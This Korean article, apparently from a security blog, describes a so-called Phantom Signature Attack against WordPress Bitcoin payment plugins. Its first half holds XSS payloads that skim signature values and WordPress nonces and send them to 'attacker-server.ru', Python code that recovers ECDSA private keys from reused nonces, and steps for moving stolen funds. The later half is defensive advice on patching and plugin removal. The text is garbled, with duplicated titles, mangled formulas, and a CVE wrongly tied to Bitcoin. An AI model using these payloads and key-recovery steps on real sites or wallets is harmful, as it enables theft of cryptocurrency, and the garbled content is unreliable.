2단계: 논스 k 계산  – 위 공식을 사용하여 공격자는 각 서명 쌍에 대한 k 값을 계산합니다. 다른 쌍에 대해 계산된 k 값이 일치하면 RNG의 체계적인 취약점 을 확인합니다. github

3단계: 개인 키 d 복구  – 계산된 k를 수집된 서명 중 하나에 적용하여 공격자는 개인 키 d를 완전히 복구 하므로 피해자를 대신하여 모든 거래에 서명할 수 있습니다. keyhunters+ 1


팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

분실된 비트코인 지갑에 대한 결과

복구된 개인 키 를 통해 공격자는 다음을 수행할 수 있습니다:

  1. 모든 거래에 대한 새 서명 생성
  2. 지갑에서 공격자 주소로 모든 자금 이체
  3. 개인 키가 노출된 분실 지갑에 대한 액세스 복구
  4. 이전 거래에 대한 이중 지출 공격 수행
  5. 비트코인 주소의 보안 완전 손상 keyhunters

비트코인과 지갑이 생태계에 미치는 영향

취약점의 규모

결합된 XSS와 팬텀 서명 공격은 비트코인 결제 게이트웨이를 사용하는 모든 WordPress 사이트에 심각한 위협이 되며, 다음을 포함합니다:

  • GoUrl 및 Bitcoin/AltCoin Payment Gateway 플러그인을 통해 비트코인 결제를 수락하는 온라인 상점 (Elementor 플러그인 설치 10,000개 이상 및 결제 플러그인 유사 수) sucuri
  • 자금 관리에 웹 인터페이스를 사용하는 핫 월렛 사용자
  • 관리자가 WordPress를 사용하여 zscaler+ 1 결제를 관리하는 상업 플랫폼

실제 통계

keyhunters.ru 및 과학 문헌의 연구에 따르면:

  • ECDSA 논스 재사용  은 이미 비트코인 생태계에서 수억 달러의 손실을 초래했습니다 .
  • 문서화된 한 사례에서, 중복 nonce 값 분석을 통해  412.8 BTC  (현재 가격으로 약 1,500만~2,000만 달러 상당)의 복구가 가능했습니다. keyhunters
  • 자동화된 봇들은 지속적으로 비트코인 블록체인에서 중복 r 값을 트랜잭션에서 스캔합니다.
  • WordPress 플랫폼에 대한 XSS 공격은 수천 개의 웹사이트에 키로거와 암호화폐 채굴기를 설치하는 데 사용되고 있으며, 여기에는 GitHub+ 2개의 개인 키를 훔치려는 시도도 포함됩니다.

보호 및 마이그레이션 권장 사항

WordPress 플러그인 개발자용

  1. RFC 6979의 즉시 구현  – keyhunters의 비결정적 RNG 대신 결정적 nonce 생성 사용
  2. 사용자 입력의 완전한 정화  – secalerts+ 1에 의해 출력된 모든 데이터에 대해 WordPress 함수  sanitize_text_field(),  esc_attr(),  esc_html() 사용
  3. 암호화 서명 검증  — 서명 생성 후 즉시 검증. Keyhunters+ 1
  4. 하드웨어 보안 모듈(HSM) 사용  – 중요 암호화 작업에 keyhunters
  5. 정기적인 보안 감사  –  XSS 취약점을 신속하게 탐지하기 위해 특화된 도구 사용

비트코인 사용자용

  1. 플러그인 즉시 업데이트  – GoUrl 및 Bitcoin/AltCoin Payment Gateway wiz+ 1 플러그인에 사용 가능한 모든 업데이트 적용
  2. 콜드 월렛  – 많은 양의 비트코인을 저장할 때는 웹 인터페이스 대신 오프라인 지갑을 사용하십시오.
  3. 웹 인터페이스 회피 – 중요 암호화 작업에는 forklog  브라우저 확장 대신 특화된 소프트웨어를 사용하십시오.
  4. 2단계 인증  – 모든 WordPress 관리자 계정에 대해.
  5. 정기적인 트랜잭션 모니터링  – 승인되지 않은 forklog 활동이 있는지 트랜잭션 내역 확인

3. CVE-2025-29774와의 관계
CVE-2025-29774는 xml-crypto 라이브러리의 심각한 취약점으로,
서명된 XML 메시지를 수정하여 서명 검증을 여전히 통과하도록 할 수 있습니다. 이는 비트코인 결제
시스템과 결합하여 사용될 수 있습니다:
트랜잭션 매개변수 조작,
위조 서명 주입,
결제를 공격자 주소로 리디렉션.

  1. XSS와 Phantom Signature Attack의 시너지: 결합 공격
    4.1 WordPress 환경에서의 공격 시나리오
    1단계: 초기 XSS 주입
    공격자는 CVE-2025-48102를 악용하여 GoUrl 결제 게이트웨이 설정에 악성 JavaScript를 주입합니다. 악성 코드는 다음을 포함합니다:
root@kitploit:~
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
  if (e.target.name === 'bitcoin_transaction') {
    // Capturing signature parameters (r, s values)
    var r = e.target.elements['signature_r'].value;
    var s = e.target.elements['signature_s'].value;
    var txid = e.target.elements['txid'].value;
  }
});

// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
  method: 'POST',
  body: JSON.stringify({r: r, s: s, txid: txid})
});

이는 비트코인 서명 데이터의 양식 제출을 가로채는 악성 예시를 보여줍니다.


2단계: ECDSA 매개변수 가로채기
XSS 취약점 덕분에 악성 스크립트는 다음에 접근할 수 있습니다:
WordPress nonce 값(CSRF 보호에 사용됨) 세션 쿠키 비트코인 트랜잭션 매개변수(r 및 s 서명 값 포함) 개인 키
정보 브라우저 메모리에 일시적으로 저장됨 

3단계: RNG 위반 분석 및 k 반복 탐지 단일 사용자로부터 여러 서명에 대한 데이터를 수집함으로써 공격자는 다음을 탐지할 수 있습니다: 서로 다른 서명 간 nonce(k) 재사용 취약하거나 예측 가능한 난수 생성기(RNG) 값 암호화 매개변수 생성의 체계적 오류

4단계: 개인 키 복구
3.2절에서 설명된 수학적 관계를 사용하여 공격자는
개인 키 d를 계산할 수 있으며, 이는 지갑의 완전한 손상으로 이어집니다.
4.2 공격 데모 코드 비트코인 결제 게이트웨이에 주입하기 위한 악성 XSS 페이로드:

root@kitploit:~
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
  var signature = originalSign.call(this, message, privateKey);
  // Storing signature parameters for analysis
  bitcoinSignatures.push({
    message: message,
    signature: signature,
    timestamp: new Date().getTime()
  });
  // Sending to the attacker's server
  new Image().src = 'https://attacker-server.ru/log?sig=' +
    btoa(JSON.stringify(signature));
  return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
  var wpNonce = document.querySelector('[name="_wpnonce"]');
  if (wpNonce) {
    fetch('https://attacker-server.ru/nonce', {
      method: 'POST',
      body: 'nonce=' + wpNonce.value
    });
  }
}, 5000);

이 코드는 비트코인 서명 작업과 WordPress 세션 nonce를 가로채어 잠재적 악용을 위해 원격 서버로 유출하는 악성 JavaScript 스니펫을 보여줍니다.


  1. Phantom Signature Attack을 통한 분실 비트코인 지갑 복구
    5.1 개인 키 복구
    방법론 충분한 수의 서명(동일한 r 값을 가진 최소 2개의 서명)을 획득한 후, 공격자는 다음 복구 알고리즘을 적용할 수 있습니다:

1단계: 중복 r 값 식별

root@kitploit:~
def find_duplicate_r(signatures):
    r_values = {}
    for sig in signatures:
        r = sig['r']
        if r in r_values:
            return (sig, r_values[r])
        r_values[r] = sig
    return None
# Result: (signature1, signature2) with the same r

설명:
이 함수는 서명 목록에서 동일한 rr 값을 가진 두 개의 ECDSA/비트코인 서명을 검색합니다.

  • 그러한 쌍을 찾으면 두 서명을 튜플로 반환합니다.
  • 중복이 발견되지 않으면 None을 반환합니다.

이 검색은 암호화 취약점 분석과 관련이 있습니다. 중복 rr 값은 nonce 재사용을 나타낼 수 있으며, 이는 개인 키 복구 공격에서 악용될 수 있습니다.


2단계: nonce k 계산

root@kitploit:~
python:

def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k

설명:
이 함수는 두 서명이 동일한 rrr 값을 공유하는 경우(즉, nonce 재사용 또는 재생), 잘 알려진 격자 및 nonce 재사용 공격 원리에 따라 서명 sss 값과 메시지 해시의 차이를 사용하여 ECDSA nonce k를 계산합니다. 구현된 공식은 다음과 같습니다:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

여기서:

  • s1,s2s_1, s_2s1,s2는 서명 sss 값,
  • H(m1),H(m2)H(m_1), H(m_2)H(m1),H(m2)는 해당 서명된 메시지의 해시,
  • nnn은 타원 곡선 그룹의 위수(order)입니다.

이 기술은 비트코인 및 ECDSA 분석을 위한 표준 암호해독 도구입니다.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

3단계: 개인 키 복구

root@kitploit:~
python:

def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key

설명:
이 함수는 nonce kkk가 알려진 경우 단일 서명에서 ECDSA 개인 키 ddd를 복구합니다.
사용된 공식은 다음과 같습니다:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

여기서:

  • r 및 sss는 서명 구성 요소,
  • k 는 ECDSA nonce,
  • H(m) 는 서명된 메시지의 해시,
  • n 은 타원 곡선 위수(order)입니다.

이 계산은 k가 복구된 후 실제 암호해독에서 중요하며, 서명 생성에 사용된 원래 개인 키를 추출할 수 있게 합니다.


5.2 실제 복구 예제
실제 시나리오를 살펴보겠습니다:
수집된 데이터:
비트코인 주소: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (예시)
수집된 서명 수: 12
탐지된 nonce 중복: 3쌍
복구 과정:

  1. 12개 서명 분석 결과 동일한 r 값을 가진 3쌍이 발견됨
  2. 각 쌍에 대해 위 공식에 따라 k 계산
  3. 세 가지 서로 다른 k 값이 RNG의 체계적 위반을 확인함
  4. 서명 쌍 중 하나를 사용하여 개인 키 복구
  5. 개인 키를 사용하여 모든 메시지에 대한 새 서명 생성
  6. 해당 주소의 모든 자금을 공격자 주소로 이전 가능
  7. 비트코인 및 암호화폐 지갑 보안에 미치는 영향
    6.1 취약점 범위
    결합된 XSS + Phantom Signature Attack은 다음에 심각한 위협을 제기합니다:
    비트코인 결제 게이트웨이가 있는 WordPress 사이트 사용자
    웹 인터페이스를 사용하는 핫 월렛 소유자
    비트코인 결제를 수락하는 상업 플랫폼
    6.2 통계 및 실제 사례
    다음의 연구에 따르면
    keyhunters.ru :
    ECDSA nonce 재사용은 이미 수억 달러의 손실을 초래했습니다
    한 사례에서는 중복 nonce 값 분석을 통해 412.8 BTC 복구가 가능했습니다
    자동화된 봇은 중복 r 값을 찾기 위해 지속적으로 블록체인을 스캔합니다
  8. 예방 조치 및 권장 사항
    7.1 WordPress 플러그인 개발자용
  • RFC 6979의 즉시 구현 – 비결정적 RNG 대신 결정적 nonce 생성 사용
  • 모든 XSS 취약점 제거 – 사용자 입력의 완전한 정화
  • 암호화 검증은 서명 생성 후 즉시 서명의 정확성을 검증하는 것입니다.
  • 하드웨어 보안 모듈 사용 – 중요 암호화 작업에 사용

7.2 비트코인 사용자용

  1. GoUrl 및 Bitcoin/AltCoin Payment Gateway 플러그인의 즉시 업데이트
  2. 많은 금액을 저장하기 위해 콜드 월렛 사용
  3. 중요 작업에 웹 인터페이스 사용 회피
  4. 접근 로그 및 트랜잭션 내역 정기적으로 확인
  5. 추가 보안을 위해 다중 서명 사용

Phantom Signature Attack은 WordPress 비트코인 결제 게이트웨이(CVE-2025-48102 및 CVE-2025-26541) 의 XSS 취약점과 결합되어 암호화폐 자산의 보안에 심각한 위협을 제기합니다.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

이 결합 공격은 비교적 단순한 웹 취약점이 어떻게 시스템의 암호화 무결성을 손상시키기 위해 악용될 수 있는지 보여줍니다. 그 결과 개인 키의 완전한 손실과 결과적으로 모든 자금의 도난이 발생합니다.


이 연구는 비트코인 보안이 알고리즘의 암호화 강도뿐만 아니라 웹 환경에서 이러한 알고리즘의 완벽한 구현에 달려 있음을 보여줍니다. XSS 처리의 사소한 결함이나 취약한 RNG도 치명적인 결과를 초래할 수 있습니다.
제안된 예방 조치를 채택하고 취약한 소프트웨어를 신속하게 업데이트하는 것은 비트코인 생태계를 보호하고 분실된 지갑을 복구하는 데 중요합니다.

유령 서명 공격(Phantom Signature Attack) 은 WordPress용 비트코인 결제 게이트웨이의 XSS 취약점 CVE-2025-48102 및 CVE-2025-26541과 결합되어 현대 웹 환경에서 암호화폐 자산 보안에 가장 중요하고 현실적인 위협 중 하나를 나타냅니다. 이 연구는 비교적 간단한 웹 취약점이 어떻게 악용되어 시스템의 암호화 무결성을 직접적으로 손상시키고, 개인 키의 완전한 손실과 비트코인 자금의 되돌릴 수 없는 도난으로 이어질 수 있는지 보여줍니다.

유령 서명 공격 은 XSS를 통해 가로챌 수 있는 ECDSA 매개변수 조작을 통해 개인 키 복구 문제와 직접적인 관련이 있기 때문에 keyhunters.ru 에서 다양한 암호화 도구 중에서 선택되었습니다. 이 공격은 웹 취약점 (OWASP Top 10 카테고리)과 암호화 결함 간의 시너지 효과를 보여주는 이상적인 예시로, 포괄적인 보호 접근 방식이 필요합니다.

비트코인 보안은 알고리즘의 암호학적 강도뿐만 아니라 웹 환경에서의 완벽한 구현에 달려 있습니다. XSS 처리의 사소한 결함이나 취약한 RNG조차도 생태계에 치명적인 결과를 초래할 수 있습니다. 제안된 예방 조치를 채택하고 취약한 소프트웨어를 신속하게 업데이트하는 것은 비트코인을 보호하고 분실된 사용자 지갑을 복구하는 데 중요합니다.


CVE-2025-48102 및 CVE-2025-26541: WordPress용 비트코인 결제 게이트웨이의 중요한 XSS 취약점

암호화폐 결제를 수락하는 수천 개의 온라인 상점과 웹사이트에 심각한 보안 위험을 초래하는 두 가지 심각한 XSS(교차 사이트 스크립팅) 취약점이 인기 있는 WordPress용 비트코인 결제 게이트웨이 플러그인에서 발견되었습니다.

CVE-2025-48102: GoUrl 비트코인 결제 게이트웨이의 저장형 XSS 취약점

취약점  CVE-2025-48102  는 2025년 9월 5일에 공식적으로 게시되었으며, 인기 있는  GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership 플러그인의 버전 1.6.6 이하 모든 버전에 영향을 미칩니다. 이 보안 결함은  CWE-79 (웹 페이지 생성 시 입력값의 부적절한 중화) 분류 하에  저장형 XSS (교차 사이트 스크립팅 공격)로 분류됩니다.

취약점의 기술적 특성

CVSS v3.1 심각도 점수는  5.9 (중간 심각도)이며, 공격 벡터는  CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 입니다. 벡터 분석은 다음 특성을 보여줍니다.

  • 공격 벡터 (AV:N)  — 물리적 접근이 필요 없는 네트워크 공격입니다.
  • 공격 복잡성 (AC:L)  — 낮은 악용 복잡성
  • 필요 권한 (PR:H)  — 높은 권한(관리자)이 필요합니다.
  • 사용자 상호작용 (UI:R)  — 사용자 상호작용이 필요합니다.
  • 범위 (S:C)  — 변경 가능한 보안 컨텍스트
  • 기밀성/무결성/가용성 (C:L/I:L/A:L)  — 세 가지 매개변수 모두에 낮은 영향

공격 메커니즘

취약점은 웹 페이지 생성 시  사용자 입력의 부적절한 중화 로 인해 발생합니다. 관리자 권한을 가진 공격자는 WordPress 콘텐츠 관리 시스템에 악성 스크립트를 주입할 수 있으며, 이 스크립트는  데이터베이스에 저장 되고 다른 사용자가 페이지를 방문할 때 자동으로 실행됩니다.

Patchstack 전문가가 설명하듯이, 이를 통해 공격자는 다양한 악성 요소를 주입할 수 있습니다.

  • 피싱 사이트로의 리디렉션
  • 무단 광고
  • 사용자 정의 HTML 페이로드

상황의 심각성

특히 우려되는 점은  GoUrl 플러그인이 개발자에 의해 더 이상 지원되지 않는다 는 사실입니다. Patchstack에 따르면, 이 소프트웨어는 1년 넘게 업데이트되지 않았으며 향후 업데이트나 패치가 제공되지 않을 가능성이 높습니다. 이는 이 플러그인을 사용하는 모든 웹사이트가 악용에  영구적으로 취약 한 상태로 남게 됨을 의미합니다.

Wiz 플랫폼 전문가들은 이  저장형 XSS 취약점 이 WordPress 플러그인 GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership에서 발견되어 2025년 9월 5일에 공개되었다고 언급합니다. 악용에는 관리자 권한이 필요하지만,  악성 코드는 모든 사이트 방문자를 대신하여 실행될 수 있으므로 잠재적인 공격 범위가 크게 확장됩니다.


유령 서명 공격: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함 및 BTC 코인에 대한 무제한 제어로 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 장치에 대한 연구

​

CVE-2025-26541: Bitcoin/AltCoin 결제 게이트웨이의 반사형 XSS 취약점

두 번째 취약점  CVE-2025-26541 은 2025년 3월 26일에 게시되었으며, 플러그인  CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce 버전 1.7.6 이하 모든 버전에 영향을 미칩니다.

취약점 분류

이 취약점은  반사형 XSS (교차 사이트 스크립팅 공격)로 분류됩니다. 저장형 XSS와 달리 반사형 XSS는 악성 사용자 입력이 적절한 삭제 없이 HTTP 응답을 통해  사용자에게 즉시 반사 되어 피해자의 브라우저가 공격자의 스크립트를 실행하도록 할 때 발생합니다.

기술 정보

취약점은  CVSS v3.1 시스템에 따라 벡터  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 로 평가되었으며, 이는 다음을 나타냅니다.

  • 네트워크 공격 — 물리적 접근 불필요
  • 낮은 복잡성 의 작동
  • 권한 불필요 (PR:N) — 중요한 요소
  • 사용자 상호작용 필요
  • 변경 가능한 보안 컨텍스트
  • 기밀성, 무결성 및 가용성에 미치는 영향이 낮음

공격 벡터 및 수정

보안 연구원에 따르면, 이 취약점은  반사형 XSS 공격을 통해 악용 될 수 있으며, 공격자가 웹 페이지에 악성 스크립트를 주입할 수 있습니다. 이 취약점을 처음 발견한 플랫폼인 Patchstack은 CVE-2025-26541을 수정하려면  Bitcoin/AltCoin Payment Gateway for WooCommerce 플러그인을 버전 1.7.7 이상으로 업데이트 해야 한다고 조언합니다.

WordPress에서 XSS 취약점의 공통 위협

문제의 규모

XSS(교차 사이트 스크립팅)는 웹 애플리케이션에서 발견되는  가장 일반적인 취약점 중 하나입니다. 다양한 연구에 따르면,  XSS 취약점은 모든 WordPress 플러그인 취약점의 약 53.3%를 차지 합니다.

특히 우려되는 점은 2024년에 무려  1,614개의 플러그인이 보안 문제로 WordPress.org 저장소에서 제거 되었으며, 그중 1,450개는 높거나 중간 우선순위의 취약점으로 분류되었다는 사실입니다. 이러한 플러그인 중 상당수는  웹사이트에서 계속 활성 상태로 남아 있어 지속적인 공격에 노출됩니다.

악용의 결과

저장형 XSS 공격은 특히 위험합니다. 악성 코드가 웹사이트 데이터베이스에 저장되고 감염된 페이지를 보는 모든 방문자에 대해 자동으로 실행되기 때문입니다. 이로 인해 저장형 XSS는 반사형 XSS보다 훨씬 더 파괴적입니다.

  1. 광범위한 영향  — 공격자는 한 번만 스크립트를 주입하면 해당 콘텐츠를 보는 모든 사용자에 대해 실행됩니다.
  2. 관리자 세션 하이재킹  — 공격자가 관리자 세션을 가로채 웹사이트에 대한 완전한 제어권을 얻을 수 있습니다.
  3. 민감한 데이터 도난  — 비밀번호, 신용카드 정보 및 개인 정보 포함
  4. 평판 손상  — 방문자를 피싱 사이트로 유도하고 콘텐츠를 변조하여 발생

Wordfence 전문가는 WordPress의 맥락에서  공격자가 제어하는 자격 증명으로 관리 사용자를 추가하고 파일을 편집하면 사이트가 완전히 손상될 수 있으며 , 이는 공격자에 의해 적극적으로 사용된다고 강조합니다.

보호 조치 및 권장 사항

즉시 조치

영향을 받는 플러그인을 사용하는 웹사이트 소유자를 위해 전문가들은 다음  즉시 조치 를 권장합니다.

CVE-2025-48102(GoUrl)의 경우:

  • 플러그인을 즉시 제거 하고 적극적으로 유지 관리되는 대안으로 교체하십시오.
  • 플러그인을 비활성화해도 가상 패치(vPatch)가 배포되지 않는 한  보안 위험이 제거되지 않습니다 .
  • 공식적인 수정 사항이 없고 소프트웨어가 중단된 것으로 간주되므로,  유일한 효과적인 해결책은 완전히 제거하는 것 입니다.

유령 서명 공격: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함 및 BTC 코인에 대한 무제한 제어로 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 장치에 대한 연구

CVE-2025-48102에 대한 중요 완화 조치: GoUrl 플러그인 비활성화만으로는 충분하지 않은 이유와 해야 할 일

GoUrl Bitcoin Payment Gateway 플러그인에서  취약점 CVE-2025-48102 가 발견되면서 수천 명의 WordPress 웹사이트 소유자에게 심각한 상황이 발생했습니다. 특히 우려되는 점은  표준 보안 조치가 적절한 보호를 제공하지 못하는 반면,  반쪽짜리 조치는 잘못된 보안 감각을 만들어낼 수 있다 는 것입니다. 플러그인을 단순히 비활성화하는 것만으로는 문제가 해결되지 않는 이유와 위협을 완전히 제거하기 위해 필요한 단계를 자세히 살펴보겠습니다.

플러그인 비활성화가 보안 위협을 해결하지 못하는 이유

비활성화된 플러그인의 기술적 현실

많은 WordPress 관리자는  플러그인을 비활성화하면 완전히 비활성화 되고 관련된 모든 보안 위험이 제거된다고 잘못 생각합니다. 그러나 이러한 근본적인 오해는 재앙적인 결과를 초래할 수 있습니다.

비활성화와 삭제의 중요한 차이점:

플러그인 비활성화 는 단순히 WordPress에서 해당 기능을 비활성화합니다. 플러그인 코드는 더 이상 사이트와 상호 작용하지 않으며 해당 기능이 수행되지 않습니다. 그러나 플러그인을 완전히 제거하지 않는 한 모든  플러그인 파일과 데이터는 서버에 남아 있습니다 . 이 주요 차이점은 잠재적인 보안 위험을 이해하는 데 중요합니다.

서버 내 코드의 물리적 존재:  플러그인이 비활성화된 경우에도 해당 파일은 서버의  /wp-content/plugins/ 디렉토리에 계속 저장됩니다. 플러그인에 알려진 취약점이 있는 경우 해커는  플러그인 파일에 직접 액세스하여 이를 악용 할 수 있습니다. 이는 사이트의 다른 취약점(예: 취약한 서버 보안 또는 손상된 관리자 자격 증명)을 통해 발생할 수 있습니다.

Dotwise 보안 전문가는 강조합니다:  "코드는 여전히 접근 가능합니다. 플러그인이 비활성화된 경우에도 해당 파일은 서버에 계속 저장됩니다. 플러그인에 알려진 취약점이 있는 경우 해커는 플러그인 파일에 직접 액세스하여 이를 악용할 수 있습니다."


비활성화된 플러그인의 공격 벡터

표적 공격:  사이버 범죄자는 종종  특정 취약한 플러그인에 대해 웹사이트를 스캔 합니다. 취약한 플러그인이 서버에 존재하는 경우, 비활성화되어 있어도 공격자가 공격할 수 있습니다.

Qode Interactive 전문가는 경고합니다:  "플러그인을 삭제하지 않고 비활성화하는 것은 진단 및 문제 해결에 유용하지만, 항상 단기간 사용만을 위한 것입니다. WordPress 사이트를 해커로부터 최대한 안전하게 보호하려면 사용하지 않는 모든 플러그인과 해당 파일을 삭제해야 합니다."

오래된 플러그인:  비활성화된 플러그인은 정기적인 WordPress 유지 관리 중에  종종 간과 됩니다. 보안 취약점을 패치하기 위해 플러그인이 업데이트되지 않으면 사이트 보안의 취약한 연결 고리가 될 수 있습니다. 해커는 종종 오래된 소프트웨어를 악용하며, 비활성화된 플러그인도 예외는 아닙니다.

Magna Technology 팀은 언급합니다:  "비활성화된 플러그인의 가장 중요한 문제 중 하나는 보안입니다. 비활성화된 플러그인은 실행되지 않지만 WordPress 설치에 남아 있으며 정기적으로 업데이트되지 않으면 취약점이 될 수 있습니다. 해커는 비활성화된 플러그인이라도 웹사이트에 액세스하기 위해 오래된 플러그인을 자주 악용합니다."


공식 수정 사항 부족 및 소프트웨어 중단 상태

GoUrl 상황의 심각성

CVE-2025-48102 의 구체적인 특성은  GoUrl Bitcoin Payment Gateway 플러그인이 개발자에 의해 더 이상 지원되지 않는다 는 것입니다. 이는 플러그인의 모든 사용자에게 독특하고 매우 위험한 상황을 만듭니다.

Patchstack의 공식 입장:  Patchstack 취약점 페이지에는 명확히 명시되어 있습니다:  "이 소프트웨어는 중단되었을 가능성이 높습니다! 이 소프트웨어는 1년 넘게 마지막으로 업데이트되었으며 향후 추가 업데이트나 패치를 받지 못할 가능성이 높습니다. 긴급히 소프트웨어를 대안으로 교체하는 것을 고려하십시오."

비활성화에 대한 중요 경고:  Patchstack은 구체적으로 다음과 같이 명시합니다:  "가상 패치(vPatch)가 배포되지 않는 한 소프트웨어를 비활성화해도 보안 위험이 제거되지 않습니다."

Wiz 전문가의 권고 :  Wiz 플랫폼 전문가는 단호히 말합니다: "공식적인 수정 사항이 없고 소프트웨어가 중단된 것으로 간주되므로 권장되는 완화 조치는 플러그인을 제거하고 적극적으로 유지 관리되는 대안으로 교체하는 것입니다."


중단된 소프트웨어 사용의 결과

지속적인 취약점:  개발자 지원이 없으면  보안 업데이트가 릴리스되지 않습니다 . 이는 CVE-2025-48102를 포함하여 발견된 모든 취약점이 영원히 패치되지 않은 상태로 남아 있음을 의미합니다.

위험 축적:  시간이 지남에 따라  추가 취약점이 발견될 수 있으며 이 또한 패치되지 않습니다. Patchstack 통계에 따르면, 2024년에는 높거나 중간 우선순위의 취약점으로 인해 무려 1,450개의 플러그인이 WordPress.org 저장소에서 제거 되었습니다.

향후 버전과의 비호환성:  버려진 플러그인은  향후 WordPress, PHP 또는 기타 종속성 버전과 비호환되어 추가적인 기능 및 보안 문제를 발생시킬 수 있습니다. mainwp +1


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

취약한 플러그인 보호에서 가상 패치의 역할

가상 패치란 무엇인가?

가상 패치(Virtual Patching)  는 애플리케이션 자체를 변경하지 않으면서  알려진 익스플로잇이 취약한 코드에 도달하기 전에 차단하는 보안 기술입니다. wp-umbrella+2

OWASP 정의:  OWASP 조직은 가상 패치를  "알려진 취약점의 악용을 방지하는 보안 정책 시행 수준"으로 정의합니다. "

작동 방식:  가상 패치는 트랜잭션을 분석하고 전송 중인 공격을 차단하여  악성 트래픽이 웹 애플리케이션에 도달하지 못하게 합니다. 결과적으로 실제 애플리케이션 소스 코드가 수정되지 않았더라도 익스플로잇 시도는 실패합니다. owasp+1

가상 패치가 CVE-2025-48102로부터 보호하는 방법

취약점 특이성:  광범위한 탐지 패턴에 의존하는 범용 웹 애플리케이션 방화벽(WAF)과 달리, 가상 패치는  특정 페이로드와 일치하는 대상 규칙으로 작성됩니다. 플러그인에 SQL 인젝션 또는 크로스 사이트 스크립팅 취약점이 있는 경우, 가상 패치는 이를 악용하는  정확한 요청 서명을 차단할 수 있습니다. wp-umbrella+1

Patchstack 기술:  Patchstack은 다양한 지침을 포함할 수 있는  취약점별 JSON 규칙을 사용합니다. 예를 들어, POST id 매개변수에 악성 페이로드를 포함하여 수행되는 SQL 인젝션의 경우, 가상 패치는  허용 목록 접근 방식을 사용하여 id에 숫자만 포함되도록 할 수 있습니다. patchstack+1

자동 배포:  취약점이 발견되어 CVE 식별자로 문서화되면, 보안 연구자 또는 Patchstack과 같은 플랫폼이  취약점을 확인하고 익스플로잇이 작동하는 방식을 정확히 문서화합니다. 이것이 가상 패치의 기초가 되며, 이후  모든 보호된 사이트에 자동으로 배포될 수 있습니다.

가상 패치의 장점과 한계

주요 이점:

  • 즉각적인 보호:  공식 수정 사항이 아직 출시되지 않았더라도 취약점 발견 후 몇 시간 내에 보호를 제공합니다. searchenginejournal+1
  • 제로데이 보호:  Patchstack으로 보호되는 사이트는  아직 공개되지 않은 제로데이 취약점으로부터도 보호됩니다.
  • 확장성:  관리형 웹 애플리케이션 방화벽은 여러 웹사이트 네트워크에 동시에 패치를 배포할 수 있습니다.
  • 위험 완화:  공급업체가 패치를 출시하기 전이나 테스트 및 패치 적용 중에 위험을 줄입니다. owasp
  • 충돌 없음:  수동으로 코드를 패치하는 것보다 충돌 가능성이 적습니다.
  • 구현 용이성:  일반 규칙 세트에 의존하는 애플리케이션 방화벽과 달리, Patchstack은  정확히 어떤 취약점이 존재하는지 알고 있으며 각 사이트에 맞춤형 보호를 제공할 수 있습니다. theadminbar

CVE-2025-48102에 대한 주요 한계:

가상 패치의 모든 이점에도 불구하고,  버려진 GoUrl 플러그인에 대한 장기적인 해결책은 아닙니다. Patchstack은 소프트웨어를 비활성화하는 것이  가상 패치가 배포되지 않는 한 보안 위협을 제거하지 않는다고 분명히 경고합니다. 그러나 버려진 소프트웨어에 대한 지속적인 보호를 위해 가상 패치에만 의존하는 것은  위험한 전략입니다. 이유는 다음과 같습니다: patchstack

  1. 새로운 취약점이 발견될 수 있음 가상 패치가 아직 생성되지 않은 경우.
  2. 가상 패치는 임시 조치이며, 영구적인 해결책이 아닙니다. sucuri+1
  3. 보호를 유지하려면  Patchstack과 같은 서비스에 대한 활성 구독이 필요합니다. wp-umbrella+1

유일한 효과적인 해결책은 플러그인을 완전히 제거하는 것입니다.

왜 완전한 제거가 필요한가?

